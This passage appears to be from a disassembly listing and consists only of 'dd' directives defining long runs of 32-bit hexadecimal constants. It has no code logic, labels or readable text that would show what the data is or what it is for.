dd 969CE89Fh, 1D8107BFh, 63505FB5h, 52ABBC16h, 0F985E1E7h
dd 0DCB2B27h, 8061DA4Bh, 1B3EDB50h, 5BA80046h, 1DEB70Fh
dd 6B9E699Dh, 0C9F96800h, 9BF902Ah, 4E3CA8CEh, 609FE70h
dd 0FB6FF43Ah, 0F463713Ch, 9701B4FEh, 0B5892A6Ch, 9B6E0D3Dh
dd 0C019C809h, 1FE1B16h, 0B78E0828h, 602A3409h, 12F1762Ch
dd 82358850h, 520D2D02h, 5D8119AEh, 46D03892h, 0EC937B7h
dd 4C636D21h, 0D8161FE2h, 89FB2C51h, 2A6425C7h, 0B2A0D1A7h
dd 0EF133886h, 0E788F56Eh, 58E30076h, 77B49EB1h, 1DE0A178h
dd 452E5598h, 384E212Eh, 180D386h, 516175C4h, 2DC99D89h
dd 88F57965h, 923C112h, 0CA7C810Fh, 401EC50h, 0FD8765EEh
dd 0B39DBC91h, 0A44258Bh, 582797C7h, 805CB70Ch, 0E9B518DCh
dd 0BD891327h, 0B6A0EB96h, 9717A120h, 4A728F1Dh, 214D5D7Ah
dd 84D123C0h, 9360E776h, 292440B5h, 114BC5EAh, 0C01066CEh
dd 0DBA74B04h, 0D521F514h, 1E04A7F1h, 995E90CCh, 32A61F5Ah
dd 1F3015F2h, 0F6F54A63h, 3315B24Dh, 9B7E89DAh, 0F8523F40h
dd 0F7ADA024h, 13BA003Bh, 1E1B68Fh, 2341C985h, 0BAA3853Ah
dd 806728h, 1EC87784h, 5C71C17Fh, 2B12A67Eh, 36F3B428h
dd 296E4Ah, 0B27C78ECh, 1201E821h, 0BD047DBDh, 8504D389h
dd 0B1172DD5h, 0EE043EEEh, 18F90AE0h, 0F3327CC1h, 47EDCCBEh
dd 85D22C02h, 0B7E321CFh, 801A11CFh, 0E783DD74h, 25CCE654h
dd 0DCEDDF8Bh, 0E9601764h, 9556878Dh, 0B35604A5h, 9AAE5B3Eh
dd 0C016C8D4h, 33AAEF5h, 10A59D12h, 4D258BDh, 4168D28h
dd 0EF3FE8Bh, 5528013Fh, 0A1BD2A0Eh, 700997C0h, 0B0AC89B7h
dd 0C073AA80h, 97DC8A69h, 0FA7B9189h, 63C8DB70h, 0EF397402h
dd 1069A412h, 0E462B3F7h, 1E44035Dh, 0B4CDFB4Bh, 0AD00847Fh
dd 0F96F4B45h, 1E80E302h, 2DC23327h, 65958764h, 583D50C3h
dd 38B3FB00h, 0B5853112h, 0E2C08223h, 0EE4081Eh, 0EED88B2Fh
dd 606DAD3Dh, 6D84C67Eh, 0D1516809h, 7F144052h, 0C05B4B8Ah
dd 50A6F45Bh, 1DAE495h, 0B3D0C713h, 6F1E4C7Fh, 0FE8211E9h
dd 6BDC965Fh, 0D680766Bh, 0C5011D46h, 91CFF529h, 0DF86AF7h
dd 81121948h, 4BDBF70Bh, 0E180AC9Bh, 63E76833h, 0C425A577h
dd 2DF7E5A3h, 0DBD5CFC2h, 88007369h, 990DAA14h, 16364A90h
dd 0E050F5A7h, 46B7DE12h, 0D4629C66h, 5D6242B5h, 189194B5h
dd 0BDDFE780h, 4995D3C0h, 0A62BA9F4h, 311AB2C0h, 54A1F49Ch
dd 0C710D502h, 0F0C98D89h, 0ADF395F0h, 9F10EEA5h, 0F7008035h
dd 83E48F91h, 6CCA62DCh, 10D51225h, 9DBAAFABh, 71692114h
dd 89BAB745h, 18D101BCh, 0F6D0BE23h, 25E6FC0Bh, 0B8FBC60Dh
dd 0A6205DD2h, 45622B78h, 0EB81F600h, 31738861h, 947B7F8h
dd 4012EDAFh, 0AA13672Fh, 0F84EBF00h, 66B73386h, 0F1D81CE9h
dd 4EF665FFh, 266807DCh, 24DA8B9Ch, 0E092B6C1h, 13B2BEFh
dd 60E73D4Eh, 70C9BF0Fh, 0A4081D7h, 0BD890961h, 165D2785h
dd 0C13597FDh, 367ED401h, 589762F3h, 22F6B2A5h, 8850651Dh
dd 4A37E284h, 24FAC312h, 802BA8F9h, 0C45CEFF6h, 0FF1D00AAh
dd 7EF4AE47h, 760C2F56h, 3054A55Ah, 618D1401h, 91486111h
dd 279AA94Eh, 0B74742FFh, 0B1D8AD44h, 0CE0B5E31h, 0AC051611h
dd 8D7080EFh, 2D089628h, 1C75FF0Dh, 21D9868h, 905BB614h
dd 245F3AB3h, 31400A8Fh, 0ECE74BA0h, 9B842403h, 0DD0F4AAAh
dd 52C71140h, 36D94D0h, 58686EB8h, 0A09C5ABCh, 0E6A9FDBDh
dd 40DB7F6Ah, 0C040DAC7h, 81F129Ch, 4FD98B25h, 0E29F40F6h
dd 0B328FC40h, 0FE4EC1AEh, 8D7EC08Dh, 803B6826h, 2E4980E4h
dd 59F417h, 0BBC302D3h, 0B0363D97h, 918A7C09h, 0B4ABD1A4h
dd 5844FB48h, 7DE8D1FFh, 911F86A2h, 6ACD8117h, 0C76A2D14h
dd 0DB02657Ch, 1C21C08Bh, 5C70E46Eh, 2E205E89h, 3B25DB81h
dd 2608E4Ch, 0CABF0761h, 610B2DA0h, 0F615B966h, 81028F44h
dd 87949CCBh, 0C6477425h, 2037112h, 0F3C8B28Dh, 5D1A04Ch
dd 8387001Bh, 13C19111h, 0E925D39Ch, 0C2907978h, 2901F533h
dd 6868BD9Dh, 5BF85107h, 830F1253h, 0A95F1887h, 8CA321D3h
dd 1219C858h, 472568Bh, 0B2D6AA8Fh, 0C9E6005Fh, 32D2B3D5h
dd 0C49400F9h, 22A780A2h, 0BF0ABB50h, 8C369D3Bh, 56EF13BEh
dd 267D3CA6h, 0A56309B5h, 939521ECh, 217DD8DEh, 0AD720141h
dd 0EA49F4AFh, 27363A47h, 85B15446h, 0FFF8FA6Ah, 0D7C241E5h
dd 0A5009DBDh, 4B028BB5h, 44669DF9h, 0A90908A2h, 17502E5Ch
dd 44558201h, 18A7B7Eh, 0DF25C916h, 3A1BB06Bh, 711C5C2h
dd 0E940995Fh, 5582319Dh, 38D482E0h, 70FE120h, 7E88160h
dd 8C475475h, 9500C7C3h, 6C80A1F8h, 0A5BA5Dh, 1926CFF4h
dd 30917E89h, 61461F17h, 151337E7h, 7942A324h, 0D5FAF28Bh
dd 0C9752C0Bh, 273AC855h, 0A1959331h, 2771EB4Ch, 101243F9h
dd 4B103954h, 0DF8916C2h, 2B4E59DAh, 39695980h, 1CD1628Bh
dd 0E9021F95h, 853E817Fh, 40C64C44h, 5F05B545h, 2C4A624h
dd 0A9071F37h, 250F74F0h, 4C2CF690h, 580EB573h, 0FBE770h
dd 0F87BC5F7h, 0E02CD357h, 164E1957h, 8BB016ECh, 0BEF7E9D8h
dd 180990Fh, 343AF50Dh, 25B9AC24h, 11627B02h, 0D3811C1Fh
dd 77B82B04h, 668116E9h, 600F45BBh, 8928DFE6h, 0B0977495h
dd 826C0200h, 0BE2DA705h, 0F03CA8A5h, 5A5BEB80h, 0CF25D848h
dd 17CEE6BAh, 0ED1005B9h, 779E803h, 5B4EF101h, 611F53DFh
dd 0C8D85C0h, 41FC77A1h, 70E1DA2h, 70CCFB79h, 88A00596h
dd 2B04BDF5h, 0E88A60C0h, 23193A82h, 0BF84BA61h, 69620970h
dd 50AC012Ch, 6898037Fh, 6A0021D2h, 9A4BE3DBh, 0D2C68AABh
dd 0E780DA04h, 57886FC2h, 0DB083D38h, 607E7601h, 0E6D7EF37h
dd 0C8F59A2Bh, 655BC116h, 65342FA2h, 59F73840h, 9EEAE61h
dd 16AAEF74h, 0DC7A7379h, 0C3AD42Fh, 1D4B9D7Ch, 41274CC1h
dd 6E2F1AB3h, 0CBD6125Dh, 7A8887F2h, 25093392h, 56CBD11Bh
dd 670195F8h, 49DD0A99h, 3160A7A1h, 0F4D39D37h, 2F3D1759h
dd 71E56180h, 13B6E1FFh, 121702DCh, 53D73278h, 0D50835Eh
dd 84758204h, 38AF051Eh, 0AD86153Fh, 0B4BB602Eh, 2FEDB792h
dd 0E9B26828h, 0A03CE72Bh, 71D240h, 8CBFC48Fh, 3C62DB81h
dd 0E70C3524h, 30FFD1B4h, 39E03745h, 9BACAFA0h, 0AB6F7207h
dd 51319749h, 162FA4B2h, 0E10BE684h, 57A52A8h, 0FBE18008h
dd 0EB00936Fh, 0D8B31B91h, 0AE97DAD0h, 9B5B9181h, 0AEA481D1h
dd 6633633Bh, 5A966A00h, 55DD3E45h, 9FAFDE04h, 47AC8C1Ch
dd 0ECE3FD4Ah, 27880437h, 0BC11540Dh, 0C781C0C7h, 868FE8Fh
dd 0EE9502Fh, 0AB704C83h, 34B0E8E8h, 36A00226h, 0D4688AFDh
dd 2D74C47Dh, 449302D9h, 0BF609A01h, 762C5A84h, 24E32Eh
dd 0A36861F9h, 43DB7C5h
dd 1E2E62BBh, 1E80AE73h, 0F9A8C65Ch, 82FB9B6Eh, 0DFE091CEh
dd 8E729D9Bh, 0DD8DDF4Ah, 1321F62Ah, 47DE01D1h, 0D7640583h
dd 0E3BFC198h, 0CDAB732Ch, 9287C915h, 0C44ABAB3h, 5870EE92h
dd 0AAD3A1h, 8DBAF552h, 0D97379DAh, 0C204271Dh, 0EDAD7845h
dd 0B3A9AD84h, 12795B2Dh, 64580154h, 0B92D76F8h, 0E2C72E44h
dd 0A0C97309h, 0B512D96h, 70AB0C79h, 27D5458h, 9D23315Eh
dd 0CD770FE5h, 45400044h, 94E482ECh, 993195F8h, 4467D26h
dd 31F05C76h, 0CD031675h, 618EBE17h, 40EE7DD5h, 2BED0B0Ah
dd 5682B356h, 0B055D8FEh, 0E2AD5AC3h, 46C09CE3h, 126CBF66h
dd 82260968h, 0F8687F34h, 0F838CBB9h, 7A8B4031h, 746E92CEh
dd 7F2B2DD9h, 3EC0DBEDh, 74E61765h, 144731AEh, 7B812182h
dd 0BCB3DE12h, 45389D4Ch, 902A884Ah, 71409194h, 259D7EDDh
dd 41C4503Ch, 9A542007h, 0F5C0E243h, 4B811804h, 4F89BDACh
dd 0D2E318B6h, 61E00FE8h, 3F87B704h, 0C4993E5Bh, 2B875228h
dd 421E9078h, 0B000A9C7h, 0D327FE49h, 401DC50h, 0D1C4D97Eh
dd 0B944A961h, 93008C4h, 3AD780ACh, 0DFC47971h, 56290A92h
dd 6A2E71A6h, 0C7005E7Bh, 66541A94h, 2139E1BBh, 92160E9h
dd 9728159Dh, 0F0D27C1Dh, 0DE0C5F7Dh, 98BB8971h, 0E2C97Dh
dd 0AE147D7Ah, 15B882Bh, 2CD34301h, 0E366E0DEh, 95F082EAh
dd 788D5C69h, 3DB504A9h, 0B590016Ah, 3CF46208h, 0BF1B80BBh
dd 7AECDDh, 9D2EAF27h, 0B87D3ACh, 722CE704h, 128B12EAh
dd 0EB886535h, 28E1CFE6h, 4D917084h, 7B0F7012h, 0FAC963A9h
dd 0A0AC9E71h, 90844113h, 1AAC55ADh, 0D195008Ch, 1E61A9A6h
dd 5B5A56D6h, 6A5EDBE7h, 0CDB0754h, 0CBFE3913h, 59647F80h
dd 16CD8495h, 0E6719609h, 80902E0Fh, 7FB769EFh, 0E4900A0h
dd 0B3713B04h, 50275B0Ch, 0C0946D96h, 80345AEFh, 905A7971h
dd 10291820h, 0B94400CBh, 28F4F0CDh, 1597A737h, 1B5640A7h
dd 2F095B3Eh, 73F9E525h, 0D621A4A6h, 0BC1E4701h, 0F99D0340h
dd 0EC2BA164h, 22349F1h, 248C15E8h, 16EEF310h, 0E9EAC835h
dd 0A6BC1D4Ah, 150681A1h, 23CE09ABh, 81ABBF73h, 0A1617179h
dd 400DC420h, 294BB41Bh, 7C94CDBDh, 0E602CD12h, 3015A2D8h
dd 90C5FD4h, 0E3333985h, 2F492D9Dh, 0D326587Bh, 31BF00D6h
dd 279F806Ah, 7B95C07Ah, 43B5AF8Eh, 93AB4902h, 7E4E77FCh
dd 878C5B3h, 0FAC52F94h, 0AE06DE84h, 57E1E0CAh, 0A4FFF0F1h
dd 2B6BD809h, 92B21817h, 0A5438D0h, 0D1C36081h, 3E9EFAA4h
dd 0EAA701C3h, 52F35C8Ah, 3D60374Dh, 73B0CDF9h, 5EDC67EDh
dd 0F643FCBh, 0D9AAB58Dh, 0CB716C8Ah, 0DEFB9281h, 0DB7C43D2h
dd 20922600h, 0BD2DB2D0h, 62450316h, 0A4892F8Fh, 2A6F99D1h
dd 0C3828195h, 2555F6F1h, 9D7716Ah, 0A5FB5302h, 0BB60E068h
dd 56FD690Ch, 25C43E73h, 0C7C561A2h, 41FD5B16h, 9A0067ECh
dd 0CC4D7454h, 0D58E496h, 5C99531h, 0D0733FF3h, 8DBCC6DFh
dd 0C7986737h, 92B1F02Ch, 0AF524F71h, 0F7801D7Fh, 9DB3CE65h
dd 9019BB5h, 0D91F29EFh, 12B9CC89h, 3BA65F14h, 0AA2D6100h
dd 0F05199ECh, 0CD512A8h, 5ABFE3C5h, 456989ACh, 54459859h
dd 0ADECCAE9h, 0D1607C25h, 8572035Dh, 0D909CAFh, 300844Ch
dd 71EF014Fh, 79F18B02h, 0BEB57E59h, 0E3611252h, 895709B6h
dd 82D0569Dh, 0B1B5295Fh, 79C68169h, 7BCF4AC9h, 486A4Fh
dd 2A6AA34Fh, 0EBE95034h, 0B6B4C46Bh, 0D13CE032h, 25D9FCEFh
dd 80D6FFF5h, 0C934068Eh, 70FCDBC1h, 0F65FEFF0h, 6DACE1C4h
dd 902302DEh, 0E7466051h, 0C52E4700h, 0C413C97Ch, 1BBA0073h
dd 0B5073B02h, 3F0483F5h, 595BE367h, 5FD7C0FBh, 8525B350h
dd 57C490h, 0B60ECBC2h, 0FC63F092h, 3205BE00h, 684EAC02h
dd 6A712738h, 0B5DE82FCh, 64A5C659h, 6534000Ch, 6237FDE5h
dd 502FCD19h, 40664F36h, 65E419EBh, 765538h, 5DBB97D8h
dd 0A036CCB3h, 5F054DA0h, 0C2FE9B3Ah, 5CF862AAh, 60E52CC7h
dd 0DE89B9C8h, 1DE0BB00h, 62F880ADh, 5B1F2D04h, 61A58F5Eh
dd 6F6F6A23h, 86F5009Bh, 3A5480F9h, 0FB192698h, 4B508EAh
dd 719D3305h, 1C6D90F5h, 1D1C32BCh, 1342B8F7h, 0DFBE6685h
dd 283CD3D1h, 1D5EB081h, 244235BBh, 548D00C1h, 0A6AB5692h
dd 29FB1305h, 33D29D95h, 0EFED555Fh, 98621464h, 9C718F5h
dd 1EED209Dh, 37D1FF2Fh, 0C7200F1h, 69883918h, 8C05AA70h
dd 16959D23h, 38A08EAEh, 4CFD4BE1h, 9C0450E8h, 26A4E7Eh
dd 1846EAFh, 1FE0EDD5h, 96C5CA76h, 639202Eh, 500E6E10h
dd 80B568A1h, 0AC6B7BCEh, 88904F01h, 0CA0206F7h, 4EBD957Ah
dd 13B2DCCFh, 0D7065DD8h, 3F0D70Fh, 90E201B6h, 0C0E56D5Dh
dd 7C5A27BFh, 0E5799404h, 0BE848999h, 8062B3F1h, 0A02BA693h
dd 2F1E5F50h, 0C6FA9D8Bh, 1140B296h, 0F93F90Bh, 91C19F0Ah
dd 0B0039703h, 6023DB90h, 0F51C6202h, 5E3CE95Bh, 34577124h
dd 0BD120312h, 10D322DDh, 0BEED8539h, 0E203A980h, 8D00DC7Ch
dd 4EC0625Ch, 0B8519434h, 0C0C5B139h, 6780F381h, 0EE38A625h
dd 0D4639441h, 50FB9C17h, 8E9ECF61h, 0DE56B405h, 0B52C8997h
dd 801B1193h, 0D3D977CBh, 0EC910B82h, 0C304522Eh, 4E4DBC5Bh
dd 0EAF896A9h, 65097EBDh, 2667E286h, 95399CDAh, 29C1FF6Ah
dd 0F10BC71Bh, 69899032h, 0F819C90Ah, 7113E7Bh, 0B0750A5Ah
dd 447A2505h, 62618120h, 2A655453h, 4BD5F04h, 0FC3FE721h
dd 594213BCh, 42085E11h, 70200BE9h, 1C95355h, 7893E758h
dd 3BEA084Dh, 8D21BCA3h, 0CD88291Dh, 0B684A2Ch, 745E0FD1h
dd 0E936D04Bh, 0B823242Fh, 0DB81041Dh, 1EBD05EAh, 20C12D38h
dd 4D0FA3D1h, 0BBE93670h, 42EFD869h, 4CC02F84h, 50854FC8h
dd 475555EEh, 2FD22BB1h, 0C268C9Dh, 0EC0D5A31h, 20FED235h
dd 0DA3EBB3Ah, 10A8E74Eh, 21E9DE25h, 0C1A2151Bh, 31D20F70h
dd 404EDDA7h, 39D86510h, 1183A150h, 0E35A1BA1h, 0ADB50990h
dd 0C02E790Dh, 0D09DBFBBh, 2DD97C4Bh, 0A295EE70h, 7DDC026Fh
dd 0CA45771Bh, 5E7C070Bh, 2800F492h, 9094953Bh, 5E86AA3Fh
dd 35EB31E0h, 92C2C6F6h, 789853F7h, 49127420h, 2E24820Fh
dd 82F7D792h, 422B9F9h, 887ABD61h, 0AE2AB5A7h, 0DBEB8D94h
dd 0D6B38023h, 0B6ECD9h, 535007F0h, 0E9BCC781h, 5F159013h
dd 0F4C18330h, 280801CBh, 0CC32D78Bh, 0FD56C88Dh, 6DDA90BFh
dd 836200F1h, 328CFA42h, 0B5EC74E3h, 0BF002CF0h, 1EA8F3E4h
dd 3131FC5Fh, 2BD1998Dh, 536E3BC0h, 0BD8FE001h, 3F54FDB0h
dd 25233008h, 0FBF7A5CAh, 0A2F47038h, 955ED07Fh, 0EB08A135h
dd 0BBF99301h, 88090768h, 0F60069FCh, 57C56BF2h, 260BE3EEh
dd 2F066D9Dh, 11781253h, 3B592D01h, 79AFC079h, 0CE89AF5Dh
dd 4D97A972h, 85F4E0AAh, 46B5A1B1h, 1BBF04E8h, 0BC515C75h
dd 5F20ADC5h, 177A2DD7h, 0EEC01FEDh, 2A32FDh, 0AD6136ACh
dd 9529259Ch, 0D10F1125h, 0A79EC539h, 537EB1D4h, 20B529D0h
dd 5F4B0CB9h, 1352D1C8h, 49FDBD31h, 0B27B5B9Ah, 2A181959h
dd 73342B05h, 0DA0572AAh, 0BFFDE1FFh, 5039CB8h, 93BB7F78h
dd 15A6258Bh, 1BC0F6F4h, 30C6Bh, 6705B597h, 0F3A68B49h
dd 0D8845225h, 959D922Ah, 168E59E5h, 67ED1304h, 3D5963BCh
dd 0F3E29237h, 0E704D69Ch, 5E33B067h, 54509FEFh, 2D8E6EE1h
dd 8AC49922h, 60092F95h, 58DC0AF4h, 0C52D3C13h, 0D98C4FE8h
dd 0BB0448B8h, 1E226AD8h
dd 2E4A7BBAh, 9B095736h, 5DC27ACDh, 0AF9E9FBh, 9D890BFDh
dd 5321748Dh, 2875D412h, 0E0D667E9h, 1E61FFBFh, 50DB2B98h
dd 0B8D77D0h, 4891512h, 0AA787ED3h, 667A2D2Fh, 1EBFE168h
dd 2D11212h, 52A24BE8h, 0D7D74CAh, 882E4FC4h, 7F4C6C67h
dd 59B0F0Ah, 1AB0A0CDh, 1C60EA78h, 2D8BA2E3h, 0BC002779h
dd 422C9ADh, 0C989E25Fh, 0A57B584Dh, 23B1346h, 0AB657A3Ah
dd 0C55DA10Fh, 0D08B81D5h, 65ABE9B7h, 0B8E16D11h, 0BD755AB6h
dd 0B3E59299h, 0C032DB2Bh, 57A862F4h, 0A47F0B9Bh, 6902B858h
dd 8E251681h, 6F1E4113h, 40F89622h, 405E2A34h, 0E23F9802h
dd 5E5B92A0h, 1A7069F8h, 0DECC484Bh, 5DA54CBBh, 51CC5731h
dd 0C1702F0Ch, 3B1BB66h, 60068993h, 2A5B0BB4h, 0B23B5EB5h
dd 11DA9362h, 51FB4680h, 0F00372E2h, 0BBEB4883h, 1B09990Bh
dd 80BC132Fh, 50105F75h, 0B6FEE69Dh, 0BF5B2F1Ah, 834370h
dd 73D6BD6Dh, 5FA3324Ch, 3341DAC4h, 60C4B9BDh, 0DD21ACF8h
dd 35A28297h, 878B6801h, 9266E027h, 72BC95BAh, 0F77C7404h
dd 2BDA21Fh, 71522E0Ah, 3D56D10Fh, 0F1120600h, 0CCC0F0B9h
dd 0B12EBB04h, 0E8BC5C94h, 5F253643h, 0BB00B5E6h, 16EB4256h
dd 0F2BF5150h, 683C1677h, 6B728D5Bh, 0DBA814A2h, 0B51F51B0h
dd 0F1E58726h, 0DA3D3F24h, 0FF7CA80h, 5FF87E3Dh, 991382A0h
dd 736E614Ah, 0EE971600h, 7D5FC523h, 0F7FEA750h, 52C1F005h
dd 2BEDB589h, 62745B27h, 50037B7Ah, 0D02834AAh, 0C9B0B9E6h
dd 0F035120h, 161F78Ah, 78125929h, 3F51BC56h, 16111FC2h
dd 0C1F71C80h, 0DA9C37E9h, 0EDE65AF6h, 0D897AF18h, 981F9CAFh
dd 0A64B66DBh, 0BDFD82C6h, 91020906h, 5BF41255h, 6A9D34C0h
dd 9FE70004h, 6E384FC4h, 720F2BE8h, 0C9BA805Fh, 46E4795Bh
dd 74BF96DDh, 5C73DC83h, 0FEBFDD02h, 4546379Ch, 53AD9A14h
dd 2FDA79F5h, 11C2DEF9h, 0F23D5D2Eh, 9D6D6300h, 957D67E9h
dd 0F9128B7Bh, 0B64BACF7h, 3F19A077h, 0C31B97BDh, 9DD0D3A8h
dd 4454C42Dh, 0D2853C21h, 0F2A75080h, 0BD8207B2h, 96874513h
dd 3FBB4288h, 6F80AA33h, 5673206Bh, 6DFE2ACAh, 5ABC3800h
dd 0E80BBA83h, 0C566FA50h, 91965FC0h, 4A6A8407h, 7BDB259Fh
dd 181A591Bh, 452D028Ah, 67993A37h, 91F9B5D7h, 0BB029F18h
dd 0F91A63A6h, 0DA4A01EAh, 0D0178970h, 0D501FF3Bh, 3CE9B009h
dd 0C4D7C5AAh, 0A99679BDh, 0D9E3826Dh, 0AB785EF8h, 3D3D859h
dd 8D898C05h, 8DAB12A1h, 5B532C55h, 0EBA56DF7h, 844BE9A3h
dd 7479AC94h, 0C6719297h, 63775Dh, 5EF6ED3Bh, 81BA1F74h
dd 823DDB02h, 5E5F4A57h, 0F5486C63h, 242E2D45h, 0FF76F4Ah
dd 82DC85E1h, 0D5092CF4h, 0F240EC6Fh, 17CBFE05h, 0BEE6D53Ah
dd 1166C8h, 129B8C99h, 84B8F374h, 0D74E3097h, 0EBC0BC15h
dd 82A0B55Fh, 4F8B2053h, 0D01E3EA7h, 7CDACEC1h, 97BC145Ah
dd 0F8870F13h, 948BDF1Bh, 2C89D650h, 0A5B25A6h, 8A65F47Ah
dd 417091ABh, 0CE95BD01h, 8023B857h, 0CA714BF3h, 9725223Bh
dd 89242DC2h, 769D8C50h, 5A0093F0h, 0E63C4590h, 3F32575h
dd 2013E51Bh, 0C917674Bh, 47165356h, 1E94C7B9h, 0A5EE912Ch
dd 19608CEh, 9DE250D4h, 6997BDh, 151315Bh, 49D6ACABh, 115C603Ch
dd 71352425h, 0C13549C1h, 0D4024A85h, 1DC17D81h, 6720382Fh
dd 9C7A6FE1h, 0B6E4D400h, 4E27B318h, 0B9C9D2C4h, 0A8D60BBCh
dd 368880CDh, 1EE5015h, 0EC8C7CBFh, 2BC65B6Dh, 2381F79Eh
dd 688D0FC4h, 6E4E8167h, 2D2F627Ah, 0E9B16A33h, 0B0E9EA11h
dd 8918072Fh, 0A3292B85h, 0D11B5156h, 5A05BA2Ah, 4B29B85Ch
dd 247AF58Dh, 26595934h, 187EC1Fh, 5A7E10F6h, 2B506F1Dh
dd 80F94388h, 8F1B81BBh, 90E3EF8h, 3A142F70h, 0BD12423Dh
dd 0D76221F8h, 0D6FA8A0Fh, 4C876AEBh, 404922DCh, 0E9229030h
dd 28840008h, 0EC796D27h, 505F5D56h, 3E34E388h, 0CC3C4FB8h
dd 33908C82h, 925DCDBDh, 910A8301h, 6FABB421h, 5D95286h
dd 16B59D8Bh, 36AA2DAFh, 0A8A2B76Ah, 0FDF139h, 0F7625DE4h
dd 292C7C37h, 54491D8Dh, 825E2FBh, 25BB6610h, 36C54553h
dd 81008D11h, 5AA387CFh, 24E6A46h, 1680759Bh, 56E10FEBh
dd 0B531E7B0h, 5250FB69h, 4B51E558h, 56C9E95Bh, 9DBDF3A9h
dd 0E65E328Ah, 0DA12A08Bh, 0DDAD1428h, 6D279A02h, 0D7004B79h
dd 0E9F97506h, 0D279B55Bh, 748539C4h, 0F80A39Eh, 259342B2h
dd 8195891Dh, 0FC6C25h, 7E6914B6h, 37DE371h, 19419604h
dd 0EAAC1B62h, 242DBCD6h, 61175FBh, 4EF26B01h, 0FE3FE696h
dd 3ADC0674h, 6800BEA2h, 5A2A1807h, 814E0F21h, 4884F8A2h
dd 891A8091h, 0B5019C1Dh, 6CE8597Ch, 342E8805h, 17DBFE0Bh
dd 0BCE094C0h, 20FDF922h, 0E654CCD9h, 604B92CFh, 0F97F0E99h
dd 85DA9C4h, 125F463Ah, 0F73D6634h, 190D4811h, 0FF5904ADh
dd 0B00A3374h, 331D2588h, 9F0076D3h, 36F1D905h, 0E7A4009Ch
dd 283321FFh, 3C052E0Ch, 8864E881h, 5180D0F8h, 95A8B042h
dd 4504E37Fh, 3572B953h, 0A462380h, 3731975Bh, 8A76B33h
dd 0F6BCC02h, 80D70461h, 0E63BCF88h, 0C4606170h, 2FCC4EC6h
dd 4200B9A2h, 459CCD2Dh, 0A0393940h, 0C6D0143h, 0BCD9C67Dh
dd 0C152A02Bh, 5B80584Bh, 258197BBh, 58C9367Eh, 628C15F2h
dd 664007ACh, 40B54E43h, 19A9CE6Eh, 8E59BA02h, 0D72872CAh
dd 0F381A1A0h, 6FCC6F2h, 2EE3B895h, 0A5180D68h, 2A82F8AAh
dd 97126CE0h, 61565611h, 3C927B83h, 0CAC8555Bh, 0CBA0D88Bh
dd 2B1274AAh, 0ADC751C8h, 0C7C2D1C4h, 11AE72D5h, 22305D85h
dd 3803B08Eh, 44254E49h, 5803E590h, 0DAD3D100h, 3C61978Fh
dd 0BAE00062h, 0E3BD284Ah, 0A8273DE9h, 0B186638h, 0D2D9D03h
dd 8D2A185Dh, 43324301h, 0C9821DFDh, 0CE18EBC0h, 16FCF33h
dd 0FD345D2Eh, 2E3BBDB0h, 0B00A7848h, 32E9FAE8h, 3ADA5CA1h
dd 218835F3h, 9D8595BBh, 0F0C44E97h, 298365ADh, 0B1486D85h
dd 70834343h, 25B58D88h, 6D55927Eh, 0F01DE331h, 0B65FB8F8h
dd 0B020CCBDh, 2964B5F8h, 0CE9B54Eh, 0AE6A6112h, 46604D6Fh
dd 36F52603h, 58967809h, 5F02502Ah, 0AA29BA0Dh, 11A8052Dh
dd 0EA02B807h, 76599B42h, 0B9403C57h, 0D57B0B95h, 179F30B7h
dd 6747A6DDh, 3996080h, 0D003E197h, 0BE958B58h, 0E161929Eh
dd 7A40C6BAh, 91956D9Fh, 0B12A0116h, 44612B08h, 0E73AD98Bh
dd 301DF2BDh, 61074CD8h, 0D357D0EBh, 0BB4E5F00h, 0DAC63B56h
dd 0DBBCEA59h, 47B2CF5Ah, 2A4D9200h, 8A47AB3Dh, 9356CA14h
dd 45A79E5h, 84D062E9h, 0EF502813h, 775DF96Bh, 0F9C71280h
dd 0EB250A17h, 0F66C683h, 3771DF81h, 42715CC9h, 0DDFD825Ah
dd 0BF53042Ch, 0DD5FB20Bh, 0B795B534h, 0AB490A1Dh, 84FD2F8Bh
dd 0C3EDB87Ah, 4A0036F8h, 0DF5F57FCh, 0EF501525h, 4EB1D7DAh
dd 0ABBD1005h, 0C3F81EC7h, 9A7781BFh, 30E1FF7Eh, 65F68053h
dd 0B7E99495h, 4D7DDA42h, 7383E00Bh, 0F60999CBh, 597ECAA2h
dd 3F8044E9h, 31001A23h, 0A43C2397h, 0BFC20287h, 3E680E46h
dd 5652EB56h, 8D298B4Dh, 602425F5h, 5376EEEh, 0BC5B35CFh
dd 8056C0ABh, 6058EC6Dh, 88E54E4Bh, 49BA2645h, 0FC5A61B0h
dd 6A2386A1h, 9A4BFBF6h, 0FD3980B7h, 342B6223h, 0E8E5319Dh
dd 9BB912FFh, 415B05E4h, 1EC86F01h, 48AD0F95h, 0F9AEB165h
dd 7F1A4120h, 0F016F2EDh, 95E85003h, 0AE5F5BC4h, 1C23B46Bh
dd 3E4BC900h
dd 12161D8Bh, 0AFD460E5h, 56E61975h, 19D9DDA0h, 203F60BFh
dd 8C5B5F6Ah, 0F27FAC67h, 58317D00h, 0A096F0BFh, 20505A06h
dd 0EDDBB549h, 102FBF8h, 0BB82CDE3h, 80C5B790h, 0B126B7CAh
dd 555E9D89h, 0E7819820h, 0D1AF0317h, 1821684Bh, 565154B8h
dd 155ACA2h, 81BDE85h, 897A09EDh, 34D60FBh, 6509D58Ah
dd 46D6B7FEh, 7CA12717h, 0E3813F7Eh, 1AF7464Ah, 51DA6A89h
dd 0B4C01688h, 38E976BBh, 0AD5E01ADh, 0BF22BC58h, 33412456h
dd 392EA59Dh, 7D6A3A65h, 2AE0F205h, 0DEB2EF72h, 0FFBE6000h
dd 6612F4A2h, 9BE2B80Bh, 2C305D61h, 748F9BDh, 272984E2h
dd 6A48DDEBh, 0A5F10E84h, 0B42FA67Bh, 7F00C1B6h, 0DC0E11B6h
dd 8924F9E7h, 97DEB606h, 0C0314B65h, 702F1B4Dh, 9BBB56DFh
dd 65955909h, 0F62B5E5Fh, 57A2A500h, 0B031C5B5h, 0E07E4F21h
dd 4620C72Eh, 126078E0h, 0E6FB59BAh, 57501222h, 40ED8713h
dd 0E23EF812h, 0E80E4977h, 971A2569h, 0D6AFC6D1h, 7161046h
dd 6DCB6168h, 2169B707h, 72C89EC3h, 0C910DB6Ah, 0FD0B5D9Ah
dd 562F8B75h, 0D57CECFEh, 0A852124Fh, 900189B5h, 1BF9E9ABh
dd 5B859DE4h, 5F11B72Bh, 91FC0E80h, 0C3B7BF61h, 7BF6F000h
dd 32D391F3h, 81A6E89Ah, 67256776h, 956DA55Bh, 0E0EBDE42h
dd 0D2912CB0h, 0B2CB043Eh, 0A73DAC0Ah, 6092EFFBh, 9593B2A6h
